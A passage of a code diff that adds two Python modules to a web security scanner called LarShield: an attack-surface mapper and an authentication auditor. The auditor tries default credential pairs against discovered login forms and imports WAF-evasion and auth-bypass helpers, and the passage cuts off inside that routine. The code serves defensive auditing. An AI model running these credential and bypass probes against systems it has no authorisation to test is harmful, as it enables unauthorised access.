)
|
backend/scanners/attack_surface_scanner.py
ADDED
|
@@ -0,0 +1,227 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
attack_surface_scanner.py — Attack Surface Mapper
|
| 3 |
+
==================================================
|
| 4 |
+
Enumerates and maps the full attack surface of a web application:
|
| 5 |
+
- All discovered endpoints / routes
|
| 6 |
+
- Query parameters and form fields across all pages
|
| 7 |
+
- External domains and third-party scripts
|
| 8 |
+
- API endpoints (REST / GraphQL hints)
|
| 9 |
+
- Admin / sensitive paths
|
| 10 |
+
- File upload endpoints
|
| 11 |
+
- Technology stack identified
|
| 12 |
+
- Email addresses / internal references exposed
|
| 13 |
+
"""
|
| 14 |
+
import re, urllib.parse, urllib.request
|
| 15 |
+
from scanners.base_scanner import BaseScanner
|
| 16 |
+
|
| 17 |
+
SENSITIVE_PATH_RE = re.compile(
|
| 18 |
+
r"(admin|administrator|manager|console|panel|dashboard|config|backup|"
|
| 19 |
+
r"phpmyadmin|wp-admin|wp-login|cpanel|webmail|api/v\d|swagger|graphql|"
|
| 20 |
+
r"actuator|debug|trace|health|metrics|env|info|beans|heapdump)", re.I
|
| 21 |
+
)
|
| 22 |
+
|
| 23 |
+
FILE_UPLOAD_RE = re.compile(
|
| 24 |
+
r'<input[^>]+type=["\']file["\']', re.I
|
| 25 |
+
)
|
| 26 |
+
|
| 27 |
+
EMAIL_RE = re.compile(
|
| 28 |
+
r'\b[A-Za-z0-9._%+\-]+@[A-Za-z0-9.\-]+\.[A-Za-z]{2,}\b'
|
| 29 |
+
)
|
| 30 |
+
|
| 31 |
+
INTERNAL_IP_RE = re.compile(
|
| 32 |
+
r'\b(10\.\d+\.\d+\.\d+|172\.(1[6-9]|2\d|3[01])\.\d+\.\d+|192\.168\.\d+\.\d+)\b'
|
| 33 |
+
)
|
| 34 |
+
|
| 35 |
+
API_PATTERNS = re.compile(
|
| 36 |
+
r'["\']/(api|v\d+|rest|graphql|query|endpoint)[^"\']*["\']', re.I
|
| 37 |
+
)
|
| 38 |
+
|
| 39 |
+
|
| 40 |
+
class AttackSurfaceScanner(BaseScanner):
|
| 41 |
+
SCANNER_NAME = "Attack Surface Mapper"
|
| 42 |
+
_SCANNER_KEY = "attack_surface"
|
| 43 |
+
|
| 44 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 45 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 46 |
+
|
| 47 |
+
# ------------------------------------------------------------------
|
| 48 |
+
def run(self) -> list:
|
| 49 |
+
self.log("INFO", f"[AttackSurface] Mapping attack surface of {self.target}...")
|
| 50 |
+
try:
|
| 51 |
+
urls, forms, html, all_html = self._crawl_deep()
|
| 52 |
+
self._analyze_surface(urls, forms, html, all_html)
|
| 53 |
+
except Exception as e:
|
| 54 |
+
self.log("WARNING", f"[AttackSurface] Error: {e}")
|
| 55 |
+
|
| 56 |
+
self.log("SUCCESS",
|
| 57 |
+
f"[AttackSurface] Mapping complete. {len(self.vulns)} exposure(s) documented.")
|
| 58 |
+
return self.vulns
|
| 59 |
+
|
| 60 |
+
# ------------------------------------------------------------------
|
| 61 |
+
def _crawl_deep(self):
|
| 62 |
+
try:
|
| 63 |
+
results = self.discovery_context or {}
|
| 64 |
+
urls = [u["url"] if isinstance(u, dict) else u for u in results.get("urls", [])]
|
| 65 |
+
if self.target not in urls:
|
| 66 |
+
urls.insert(0, self.target)
|
| 67 |
+
forms = results.get("forms", [])
|
| 68 |
+
all_html = results.get("page_contents", {})
|
| 69 |
+
combined = " ".join(all_html.values()) if all_html else ""
|
| 70 |
+
return urls, forms, combined, all_html
|
| 71 |
+
except Exception as e:
|
| 72 |
+
self.log("ERROR", f"[AttackSurface] _crawl_deep error: {e}")
|
| 73 |
+
body = self._fetch(self.target)
|
| 74 |
+
return [self.target], [], body or "", {}
|
| 75 |
+
|
| 76 |
+
def _fetch(self, url):
|
| 77 |
+
try:
|
| 78 |
+
req = urllib.request.Request(url,
|
| 79 |
+
headers={"User-Agent": "LarShield/2.0 AttackSurface"})
|
| 80 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 81 |
+
return r.read().decode("utf-8", errors="ignore")
|
| 82 |
+
except Exception as e:
|
| 83 |
+
self.log("ERROR", f"[AttackSurface] _fetch error: {e}")
|
| 84 |
+
return ""
|
| 85 |
+
|
| 86 |
+
# ------------------------------------------------------------------
|
| 87 |
+
def _analyze_surface(self, urls, forms, combined_html, all_html):
|
| 88 |
+
# ── 1. Endpoint inventory ─────────────────────────────────────
|
| 89 |
+
unique_paths = sorted({urllib.parse.urlparse(u).path for u in urls})
|
| 90 |
+
self.log("INFO",
|
| 91 |
+
f"[AttackSurface] Discovered {len(unique_paths)} unique path(s), "
|
| 92 |
+
f"{len(forms)} form(s)")
|
| 93 |
+
|
| 94 |
+
# ── 2. Sensitive / admin paths ────────────────────────────────
|
| 95 |
+
sensitive = [p for p in unique_paths if SENSITIVE_PATH_RE.search(p)]
|
| 96 |
+
if sensitive:
|
| 97 |
+
self.add_vuln(
|
| 98 |
+
title=f"Sensitive/Admin Paths Discovered ({len(sensitive)} paths)",
|
| 99 |
+
severity="Medium",
|
| 100 |
+
category="Attack Surface",
|
| 101 |
+
cvss_score=5.3,
|
| 102 |
+
description="The following sensitive endpoints were found accessible:\n\n" +
|
| 103 |
+
"\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in sensitive[:20]),
|
| 104 |
+
remediation="1. Restrict access to admin/management paths by IP allowlist.\n"
|
| 105 |
+
"2. Enforce strong authentication on all /admin, /api, /console paths.\n"
|
| 106 |
+
"3. Remove or disable unused endpoints in production.",
|
| 107 |
+
)
|
| 108 |
+
|
| 109 |
+
# ── 3. API endpoints ──────────────────────────────────────────
|
| 110 |
+
api_paths = [p for p in unique_paths if re.search(r'/api|/v\d+|/graphql|/rest', p, re.I)]
|
| 111 |
+
if api_paths:
|
| 112 |
+
self.log("INFO", f"[AttackSurface] API surface: {len(api_paths)} endpoint(s)")
|
| 113 |
+
self.add_vuln(
|
| 114 |
+
title=f"API Attack Surface: {len(api_paths)} Endpoint(s) Discovered",
|
| 115 |
+
severity="Low",
|
| 116 |
+
category="Attack Surface",
|
| 117 |
+
cvss_score=0.0,
|
| 118 |
+
description="The following API endpoints are part of the attack surface "
|
| 119 |
+
"and should be audited for authentication, authorization, and input validation:\n\n"
|
| 120 |
+
+ "\n".join(f"- `{self.target.rstrip('/')}{p}`" for p in api_paths[:20]),
|
| 121 |
+
remediation="Ensure all API endpoints require authentication, validate input, "
|
| 122 |
+
"implement rate limiting, and are covered by the security test suite.",
|
| 123 |
+
)
|
| 124 |
+
|
| 125 |
+
# ── 4. File upload endpoints ──────────────────────────────────
|
| 126 |
+
upload_forms = [f for f in forms
|
| 127 |
+
if FILE_UPLOAD_RE.search(str(f.get("raw_html","")))]
|
| 128 |
+
if upload_forms:
|
| 129 |
+
self.add_vuln(
|
| 130 |
+
title=f"File Upload Endpoint(s) Detected ({len(upload_forms)} forms)",
|
| 131 |
+
severity="High",
|
| 132 |
+
category="Attack Surface",
|
| 133 |
+
cvss_score=7.5,
|
| 134 |
+
description=f"Found {len(upload_forms)} file upload form(s). "
|
| 135 |
+
"File upload functionality is a high-risk attack surface and must be "
|
| 136 |
+
"protected against:\n"
|
| 137 |
+
"- Unrestricted file type uploads (webshell upload)\n"
|
| 138 |
+
"- Malicious filename attacks (path traversal)\n"
|
| 139 |
+
"- Oversized file DoS\n"
|
| 140 |
+
"- MIME-type spoofing",
|
| 141 |
+
remediation="1. Validate file types by magic bytes, not extension/MIME.\n"
|
| 142 |
+
"2. Store uploads outside the web root.\n"
|
| 143 |
+
"3. Rename uploaded files to random UUIDs.\n"
|
| 144 |
+
"4. Enforce maximum file size limits.\n"
|
| 145 |
+
"5. Scan uploads with antivirus before serving.",
|
| 146 |
+
)
|
| 147 |
+
|
| 148 |
+
# ── 5. Exposed email addresses ────────────────────────────────
|
| 149 |
+
emails = list(set(EMAIL_RE.findall(combined_html)))
|
| 150 |
+
emails = [e for e in emails if not e.endswith((".png",".jpg",".gif",".css",".js"))]
|
| 151 |
+
if emails:
|
| 152 |
+
self.add_vuln(
|
| 153 |
+
title=f"Email Addresses Exposed in HTML ({len(emails)} address(es))",
|
| 154 |
+
severity="Low",
|
| 155 |
+
category="Information Disclosure",
|
| 156 |
+
cvss_score=3.1,
|
| 157 |
+
description="The following email addresses were found in page source:\n\n"
|
| 158 |
+
+ "\n".join(f"- `{e}`" for e in emails[:15]) + "\n\n"
|
| 159 |
+
"Exposed emails enable targeted phishing, spam, and social engineering.",
|
| 160 |
+
remediation="1. Obfuscate contact emails using JavaScript or server-side rendering.\n"
|
| 161 |
+
"2. Use contact forms instead of direct email links.\n"
|
| 162 |
+
"3. Consider a generic contact@domain.com address.",
|
| 163 |
+
)
|
| 164 |
+
|
| 165 |
+
# ── 6. Internal IP / hostname leaks ───────────────────────────
|
| 166 |
+
internal_ips = list(set(INTERNAL_IP_RE.findall(combined_html)))
|
| 167 |
+
if internal_ips:
|
| 168 |
+
self.add_vuln(
|
| 169 |
+
title=f"Internal IP Address(es) Leaked in Page Source ({len(internal_ips)})",
|
| 170 |
+
severity="Medium",
|
| 171 |
+
category="Information Disclosure",
|
| 172 |
+
cvss_score=5.3,
|
| 173 |
+
description="Internal RFC-1918 IP addresses were found in the page source:\n\n"
|
| 174 |
+
+ "\n".join(f"- `{ip}`" for ip in internal_ips[:10]) + "\n\n"
|
| 175 |
+
"Leaking internal IPs aids network reconnaissance.",
|
| 176 |
+
remediation="Remove all internal hostnames and IPs from HTML output. "
|
| 177 |
+
"Use public-facing domain names or proxied URLs.",
|
| 178 |
+
)
|
| 179 |
+
|
| 180 |
+
# ── 7. Third-party script domains ─────────────────────────────
|
| 181 |
+
ext_domains = set()
|
| 182 |
+
for m in re.finditer(r'src=["\']https?://([^/"\']+)', combined_html, re.I):
|
| 183 |
+
d = m.group(1)
|
| 184 |
+
if self.domain not in d:
|
| 185 |
+
ext_domains.add(d)
|
| 186 |
+
|
| 187 |
+
if len(ext_domains) > 5:
|
| 188 |
+
self.add_vuln(
|
| 189 |
+
title=f"Large Third-Party Script Surface ({len(ext_domains)} external domains)",
|
| 190 |
+
severity="Medium",
|
| 191 |
+
category="Supply Chain Security",
|
| 192 |
+
cvss_score=5.9,
|
| 193 |
+
description=f"Found {len(ext_domains)} distinct external domains providing "
|
| 194 |
+
"scripts or resources. Each represents a supply-chain trust boundary:\n\n"
|
| 195 |
+
+ "\n".join(f"- `{d}`" for d in sorted(ext_domains)[:20]),
|
| 196 |
+
remediation="1. Audit all external dependencies for necessity.\n"
|
| 197 |
+
"2. Self-host critical scripts where possible.\n"
|
| 198 |
+
"3. Add SRI (Subresource Integrity) to all external scripts.\n"
|
| 199 |
+
"4. Monitor CDNs and third-party scripts for tampering.",
|
| 200 |
+
)
|
| 201 |
+
|
| 202 |
+
# ── 8. Parameters summary ─────────────────────────────────────
|
| 203 |
+
all_params: set = set()
|
| 204 |
+
for url in urls:
|
| 205 |
+
qs = urllib.parse.parse_qs(urllib.parse.urlparse(url).query)
|
| 206 |
+
all_params.update(qs.keys())
|
| 207 |
+
for form in forms:
|
| 208 |
+
all_params.update(f.get("name","") for f in form.get("fields",[]) if f.get("name"))
|
| 209 |
+
|
| 210 |
+
if all_params:
|
| 211 |
+
self.log("INFO",
|
| 212 |
+
f"[AttackSurface] {len(all_params)} unique input parameter(s) identified: "
|
| 213 |
+
f"{', '.join(sorted(all_params)[:20])}")
|
| 214 |
+
self.add_vuln(
|
| 215 |
+
title=f"Input Parameter Inventory ({len(all_params)} parameter(s))",
|
| 216 |
+
severity="Low",
|
| 217 |
+
category="Attack Surface",
|
| 218 |
+
cvss_score=0.0,
|
| 219 |
+
description="The following input parameters were identified across all crawled pages "
|
| 220 |
+
"and should be tested for injection vulnerabilities:\n\n"
|
| 221 |
+
+ ", ".join(f"`{p}`" for p in sorted(all_params)[:40]),
|
| 222 |
+
remediation="Ensure all listed parameters are covered by:\n"
|
| 223 |
+
"- Input validation and sanitization\n"
|
| 224 |
+
"- SQL/NoSQL injection testing\n"
|
| 225 |
+
"- XSS testing\n"
|
| 226 |
+
"- Business logic testing",
|
| 227 |
+
)
|
backend/scanners/auth_scanner.py
ADDED
|
@@ -0,0 +1,506 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
|
| 2 |
+
"""
|
| 3 |
+
auth_scanner.py — Authentication Security Scanner
|
| 4 |
+
==================================================
|
| 5 |
+
Audits the authentication surface of a web application:
|
| 6 |
+
- Login form detection & HTTPS enforcement
|
| 7 |
+
- Default / weak credential testing (safe probes only)
|
| 8 |
+
- Brute-force protection (account lockout detection)
|
| 9 |
+
- Multi-Factor Authentication presence hints
|
| 10 |
+
- Password policy exposure via error messages
|
| 11 |
+
- Username enumeration via timing / response differences
|
| 12 |
+
- Auth bypass via HTTP verb tampering
|
| 13 |
+
"""
|
| 14 |
+
import re, ssl, time, urllib.parse, urllib.request, urllib.error, base64, json
|
| 15 |
+
from scanners.base_scanner import BaseScanner
|
| 16 |
+
from utils.anomaly import TimingAnomalyDetector, SizeAnomalyDetector
|
| 17 |
+
from utils.evasion import waf_evade
|
| 18 |
+
from utils.differential import DifferentialAnalyzer, ParameterMutationTester
|
| 19 |
+
|
| 20 |
+
LOGIN_PATHS = [
|
| 21 |
+
"/login", "/signin", "/sign-in", "/auth", "/authenticate",
|
| 22 |
+
"/account/login", "/user/login", "/admin/login", "/wp-login.php",
|
| 23 |
+
"/portal", "/dashboard/login", "/api/auth/login", "/api/login",
|
| 24 |
+
]
|
| 25 |
+
|
| 26 |
+
WEAK_CREDS = [
|
| 27 |
+
("admin", "admin"), ("admin", "password"), ("admin", "123456"),
|
| 28 |
+
("admin", "admin123"), ("test", "test"), ("root", "root"),
|
| 29 |
+
("administrator", "administrator"), ("user", "user"),
|
| 30 |
+
]
|
| 31 |
+
|
| 32 |
+
SUCCESS_INDICATORS = re.compile(
|
| 33 |
+
r"(dashboard|logout|sign.?out|welcome|my.?account|profile|settings)",
|
| 34 |
+
re.I
|
| 35 |
+
)
|
| 36 |
+
FAILURE_INDICATORS = re.compile(
|
| 37 |
+
r"(invalid|incorrect|failed|wrong|error|denied|bad.?credential)",
|
| 38 |
+
re.I
|
| 39 |
+
)
|
| 40 |
+
|
| 41 |
+
|
| 42 |
+
class AuthScanner(BaseScanner):
|
| 43 |
+
SCANNER_NAME = "Authentication Security Scanner"
|
| 44 |
+
_SCANNER_KEY = "auth"
|
| 45 |
+
|
| 46 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 47 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 48 |
+
self._tested = 0
|
| 49 |
+
self._is_https = self.target.startswith("https://")
|
| 50 |
+
self._timing_detector = TimingAnomalyDetector()
|
| 51 |
+
self._size_detector = SizeAnomalyDetector()
|
| 52 |
+
self._differential = DifferentialAnalyzer()
|
| 53 |
+
self._mutation_tester = ParameterMutationTester(self._auth_mutation_req)
|
| 54 |
+
|
| 55 |
+
def _auth_mutation_req(self, url, params):
|
| 56 |
+
data = urllib.parse.urlencode(params).encode("utf-8")
|
| 57 |
+
body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
|
| 58 |
+
return body or "", status
|
| 59 |
+
|
| 60 |
+
# ------------------------------------------------------------------
|
| 61 |
+
def run(self) -> list:
|
| 62 |
+
self.log("INFO", f"[Auth] Starting authentication security audit on {self.target}...")
|
| 63 |
+
try:
|
| 64 |
+
login_pages = self._discover_login_pages()
|
| 65 |
+
self.log("INFO", f"[Auth] Found {len(login_pages)} login endpoint(s)")
|
| 66 |
+
for url, form_data in login_pages:
|
| 67 |
+
self._audit_login(url, form_data)
|
| 68 |
+
|
| 69 |
+
self._check_oauth_implicit_flow()
|
| 70 |
+
self._check_jwt_in_url()
|
| 71 |
+
self._check_auth_over_http()
|
| 72 |
+
self._check_oauth_state_parameter()
|
| 73 |
+
except Exception as e:
|
| 74 |
+
self.log("WARNING", f"[Auth] Error: {e}")
|
| 75 |
+
|
| 76 |
+
self.log(
|
| 77 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 78 |
+
f"[Auth] Audit complete. {len(self.vulns)} issue(s) found.",
|
| 79 |
+
)
|
| 80 |
+
return self.vulns
|
| 81 |
+
|
| 82 |
+
# ------------------------------------------------------------------
|
| 83 |
+
def _discover_login_pages(self) -> list:
|
| 84 |
+
"""Returns list of (url, form_fields_dict) for login pages found."""
|
| 85 |
+
found = []
|
| 86 |
+
base = self.target.rstrip("/")
|
| 87 |
+
for path in LOGIN_PATHS:
|
| 88 |
+
url = f"{base}{path}"
|
| 89 |
+
body, status = self._make_request(url, headers={"User-Agent": "LarShield/2.0 Auth-Audit"}, timeout=5)
|
| 90 |
+
if body and re.search(r'type=["\']password["\']', body, re.I):
|
| 91 |
+
fields = self._extract_login_fields(body)
|
| 92 |
+
found.append((url, fields))
|
| 93 |
+
self.log("INFO", f"[Auth] Login page detected: {url}")
|
| 94 |
+
return found
|
| 95 |
+
return found
|
| 96 |
+
|
| 97 |
+
@staticmethod
|
| 98 |
+
def _extract_login_fields(html: str) -> dict:
|
| 99 |
+
"""Extract username/password field names from HTML."""
|
| 100 |
+
user_re = re.search(
|
| 101 |
+
r'<input[^>]*name=["\']([^"\']*(?:user|login|email|username)[^"\']*)["\']',
|
| 102 |
+
html, re.I)
|
| 103 |
+
pass_re = re.search(
|
| 104 |
+
r'<input[^>]*type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
|
| 105 |
+
html, re.I)
|
| 106 |
+
if not pass_re:
|
| 107 |
+
pass_re = re.search(
|
| 108 |
+
r'<input[^>]*name=["\']([^"\']*(?:pass|pwd|secret)[^"\']*)["\']',
|
| 109 |
+
html, re.I)
|
| 110 |
+
return {
|
| 111 |
+
"username_field": user_re.group(1) if user_re else "username",
|
| 112 |
+
"password_field": pass_re.group(1) if pass_re else "password",
|
| 113 |
+
}
|
| 114 |
+
|
| 115 |
+
# ------------------------------------------------------------------
|
| 116 |
+
def _audit_login(self, url: str, fields: dict):
|
| 117 |
+
ufield = fields.get("username_field", "username")
|
| 118 |
+
pfield = fields.get("password_field", "password")
|
| 119 |
+
|
| 120 |
+
# ── Check 1: HTTPS enforcement ────────────────────────────────
|
| 121 |
+
if not self._is_https:
|
| 122 |
+
self.add_vuln(
|
| 123 |
+
title="Login Form Served Over HTTP (No HTTPS)",
|
| 124 |
+
severity="Critical",
|
| 125 |
+
category="Authentication",
|
| 126 |
+
cvss_score=9.1,
|
| 127 |
+
description=f"The login form at `{url}` is served over plain HTTP. "
|
| 128 |
+
"Credentials are transmitted in cleartext and can be intercepted.",
|
| 129 |
+
remediation="Enforce HTTPS site-wide. Redirect all HTTP to HTTPS. "
|
| 130 |
+
"Use HSTS: Strict-Transport-Security: max-age=63072000; includeSubDomains",
|
| 131 |
+
cwe_ids=["CWE-287"],
|
| 132 |
+
owasp_category="A07:2021 – Identification and Authentication Failures",
|
| 133 |
+
)
|
| 134 |
+
|
| 135 |
+
# ── Check 2: Weak / default credentials ───────────────────────
|
| 136 |
+
self._test_weak_credentials(url, ufield, pfield)
|
| 137 |
+
|
| 138 |
+
# ── Check 3: Brute-force protection ───────────────────────────
|
| 139 |
+
self._test_brute_force_protection(url, ufield, pfield)
|
| 140 |
+
|
| 141 |
+
# ── Check 4: Username enumeration ────────────────────────────
|
| 142 |
+
self._test_username_enumeration(url, ufield, pfield)
|
| 143 |
+
|
| 144 |
+
# ── Check 5: HTTP verb tampering bypass ───────────────────────
|
| 145 |
+
self._test_verb_tampering(url)
|
| 146 |
+
|
| 147 |
+
# ── Check 6: WAF-evaded auth bypass payloads ──────────────────
|
| 148 |
+
self._test_auth_bypass_payloads(url, ufield, pfield)
|
| 149 |
+
|
| 150 |
+
# ── Check 7: Differential auth bypass analysis ───────────────
|
| 151 |
+
self._test_differential_auth(url, ufield, pfield)
|
| 152 |
+
|
| 153 |
+
# ------------------------------------------------------------------
|
| 154 |
+
def _post_login(self, url, data, timeout=6):
|
| 155 |
+
try:
|
| 156 |
+
encoded = urllib.parse.urlencode(data).encode()
|
| 157 |
+
headers = {
|
| 158 |
+
"User-Agent": "LarShield/2.0 Auth-Audit",
|
| 159 |
+
"Content-Type": "application/x-www-form-urlencoded",
|
| 160 |
+
}
|
| 161 |
+
body, status, elapsed = self._make_timed_request(url, method="POST", data=encoded, headers=headers, timeout=timeout)
|
| 162 |
+
return body, status, elapsed
|
| 163 |
+
except urllib.error.HTTPError as e:
|
| 164 |
+
return "", e.code, 0.0
|
| 165 |
+
except Exception as e:
|
| 166 |
+
self.log("ERROR", f"[Auth] _post_login failed: {e}")
|
| 167 |
+
return None, 0, 0.0
|
| 168 |
+
|
| 169 |
+
def _test_weak_credentials(self, url, ufield, pfield):
|
| 170 |
+
self._tested += 1
|
| 171 |
+
for username, password in WEAK_CREDS[:5]: # limit to 5 pairs
|
